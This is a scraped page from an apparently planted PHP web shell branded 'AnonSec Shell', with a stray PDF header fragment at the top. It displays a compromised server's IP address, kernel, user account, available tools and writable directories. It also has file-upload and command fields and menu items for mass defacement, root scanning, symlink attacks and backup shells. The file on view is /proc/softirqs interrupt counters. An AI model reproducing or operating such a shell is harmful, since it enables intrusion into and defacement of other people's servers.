%PDF-1.4 %Óëéá 1 0 obj <> endobj 3 0 obj <> endobj 4 0 obj < AnonSec Shell
AnonSec Shell
Server IP : 212.252.79.165  /  Your IP : 216.73.217.172   [ Reverse IP ]
Web Server : Apache
System : Linux 212-252-79-165.cprapid.com 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
User : cehaburo ( 1001)
PHP Version : 8.1.33
Disable Function : exec,passthru,shell_exec,system
Domains : 48 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/cehaburo/public_html/images/product/anon_sym/anon/proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/cehaburo/public_html/images/product/anon_sym/anon/proc/softirqs
                    CPU0       CPU1       CPU2       CPU3       CPU4       CPU5       CPU6       CPU7       
          HI:          0          0          0          0          0          0          0          0
       TIMER:   22452930  145234658   52755286   29445697   27438730   29290741   96051325   27902849
      NET_TX:        548        778        771        751        939        794        879     502253
      NET_RX:   26135817   25691597  138395243   41310022  117306639   43823478   25445798   45143463
       BLOCK:    3542770    5043156    4418001    4240224    4226470    4376628    4417627    4144960
    IRQ_POLL:          0          0          0          0          0          0          0          0
     TASKLET:    2795749    2777113    2919893    2981507    2842473    3763416    3172729    3839095
       SCHED:   36730745   82851095   46454773   36602965   34976791   36644226   60785598   35706367
     HRTIMER:       2560       1820       3261       6947      18282       5606       4196       5495
         RCU:   94865354  137899487  115636636  107357676  102966992  102238125  115705283   99442084

Anon7 - 2022
AnonSec Team